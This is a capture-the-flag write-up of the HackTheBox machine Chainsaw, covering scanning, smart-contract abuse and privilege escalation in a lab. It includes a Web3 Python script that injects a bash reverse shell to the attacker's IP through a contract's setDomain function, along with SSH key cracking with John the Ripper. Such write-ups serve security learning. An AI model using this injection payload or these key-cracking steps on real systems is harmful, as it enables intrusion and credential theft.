Compromising a Blockchain
Hello readers, in this article I just want to share my experience of working around a Machine named Chainsaw. I am a noob to network security so started doing some Hackthebox Stuff to learn. Any noobs like myself that want to learn network security can watch videos of ippsec
(helps a lot),cyber mentor and hackersploit on youtube. I solved it in late November took a lot of time to solve (nearly a week!)I personally loved the machine and couldn’t get over it, it retired around 10 days ago I suppose. The machine deals with Solidity, Ethereum Blockchain, IPFS stack and many more concepts related to Ethereum. I will try to associate the concepts to the hack as far as possible. During my bachelor's, I worked on Ethereum development so that added to the interest to explore and try to root this machine. Before we get into it I feel it’s better if you know a Lil about Ethereum blockchain, solidity smart contracts, and IPFS stack.
So, let's get started.
We run a network scan with NMAP default scan ‘nmap -sC -sV -sT 10.10.10.142
’. We get:
Nmap scan report for 10.10.10.142
Host is up (1.2s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
|_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 352.33 seconds
I then ran all port scan:
Prakashs-MacBook-Air:~ prakashashok$ nmap -p- 10.10.10.142 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (2.8s latency).
Not shown: 37555 closed ports, 27977 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
9810/tcp open unknown
So we have ftp anonymous access enabled. We then login to FTP and use the mget *
command to get all files to our native machine. When we look at the files we see a ‘.sol
’ extension which tells me it’s a solidity code so my natural guess is that it is a smart contract of some purpose. The address.txt seems to be a smart contract hash address. Also, an unknown port exists. I guess that possibly a smart contract runs at that port.
So a smart contract in simple terms is an agreement of usage of the functions defined for making transactions such as transfer(), get_name() of a member, etc in an Ethereum network. Smart contracts allow you to exchange anything of value including money, shares, property, etc, in a transparent manner eliminating the need for an intermediary such as an admin. Think of it as a set of rules to be followed upon execution of a transaction on a blockchain.
(More on it here)
Now we take a look at the solidity code(i used remix ide for my convenience to look at the code) and the JSON file we have.

(WeaponizedPing.sol)
Notice all the functions are publicly callable since their access specifier (private, public and protected in programming are called access specifiers)is assigned as public. Now there may be a possibility that we can set store variables value as our IP address and not google.com in the function setDomain(). PT Modifiers/function modifiers(or the variable with underscore ) in solidity can be used to change the nature of functions. The underscore _ decides where to execute the original function. So there could be a real possibility to get a reverse shell by executing it in our machine.
(WeaponizedPing.json)
Since the code is in solidity I took a guess that the JSON file is the deployed execution details that are the ABI of the smart contract which we get in the form of a JSON. When we execute a smart contract we get an ABI of the deployed contract. ABI stands for Application Binary Interface. It’s an array that tells a software — usually a JavaScript library like Web3.js or EtherJS — how to interact with a Smart Contract. (More on it: here) . You can check the flow of a sample contract or our WeaponizedPing.sol by pasting the code in REMIX IDE (a solidity compiler) for solidity Ethereum here .
Now, to interact with an Ethereum blockchain we require Web3 interface of any programming language such as python, node.js, etc and a netcat listener on our machine to listen. I looked upon Web3 python docs and some videos to check some code. Here’s the code used to do a command injection using Web3 interface of python and get a connection as well:
from web3 import Web3, HTTPProviderimport jsoncontract_address = ‘0x1cEe22E053c7F4E14D85fC51a5E4a7B58667Cd44’contract_data = json.loads(open(“WeaponizedPing.json”, “r”).read())abi = contract_data[‘abi’]w3 = Web3(HTTPProvider(‘http://10.10.10.142:9810’))w3.eth.accounts[1]‘0x272661A72Cecb0883C6843FCE00fla8815f’w3.eth.defaultAccount = w3.eth.Accounts[1]contract = w3.eth.contract(abi=abi, address=contract_address)contract.functions.getDomain().call()‘google.com’contract.functions.setDomain(“10.10.14.236; bash -c ‘bash -i >& /dev/tcp/10.10.14.236/9001 0>&1’”).transact()

Now I traversed through directories and files. I found ganache and IPFS to be installed. Ganache is a framework used to develop, deploy smart contracts and test solidity contracts on personalized Ethereum like chain and IPFS is like a decentralized database that stores transactions happening on an Ethereum based blockchain. IPFS links file structures to each other using Merkle links and every file can be found by human-readable names using a decentralized naming system called IPNS.
(More on it here).
So from the administrator, we want to get to user Bobby since we don’t have his access, we are interested in anything associated with user Bobby in the folders. In ./ipfs folder running a command IPFS refs local gets us local references of transactions on the blockchain instance:

In the image, we see all the transactions stored on the IPFS stack. Since we are interested in bobby user we look for his stored hash name of the transaction to view details of it(simply do IPFS refs local | grep “bobby”). On doing that we get an email associated with Bobby which is a Protonmail with the conversation that is base64 encoded and containing a file named bobby.key which is an RSA private key.

Now it took a couple of days to get to here and then this happens. I had no idea about cracking RSA keys but my colleague at work Vijith, helped me crack the RSA key and pretty much helped me to SSH into Bobby’s instance for escalation. We used John the Ripper as obvious to crack it and checked ippsec’s videos on youtube for some help as well. We cracked the RSA key using sshng2john.
john --wordlist=/usr/share/wordlists/rockyou.txt bobby.key.john

Now we were able to ssh into the bobby :
ssh -i bobby.key@10.10.10.142.
We get the user flag on doing an ls command. We have some directories namely projects and resources. We then look for a file that has an instance that connects us to the main network’s root. In projects folder, we found ChainsawClub binary and on executing it we get a login like this:

Now in the same directory (i.e, /projects/Chainsaw), we had Chainsaw.sol and Chainsaw.json. This is like a deja-vu from the beginning solidity code. We look into the code I go back to REMIX IDE and check the code.

So going through the code again tells me that I can create and call setUsername and setPassword to login to the ChainsawClub main network. I created usernames(user, trial) and passwords(user, trial) and tried logging in and as expected it worked we are root.

To get R00T
flag, we did ls
in sbin
directory and surfed around to know few tools being used and bmap
was installed. On Googling, I get to know that Bmap is all about file content hiding on Unix like environments. So running the command: bmap - - mode slack root.txt
gives the flag.
My takeaways from the machine were:
- FTP anonymous access was the first bug that led to access to solidity code and address.
- Bad coding practices were explained to me in solidity contracts by the machine by specifying the public as access specifier to certain functions that shouldn't be callable to unauthenticated users if it’s a private Ethereum network.
All in all, it was my 3rd machine I thoroughly enjoyed it though it took a lot of time and delay to solve as well as make a comprehensive writeup as well :}

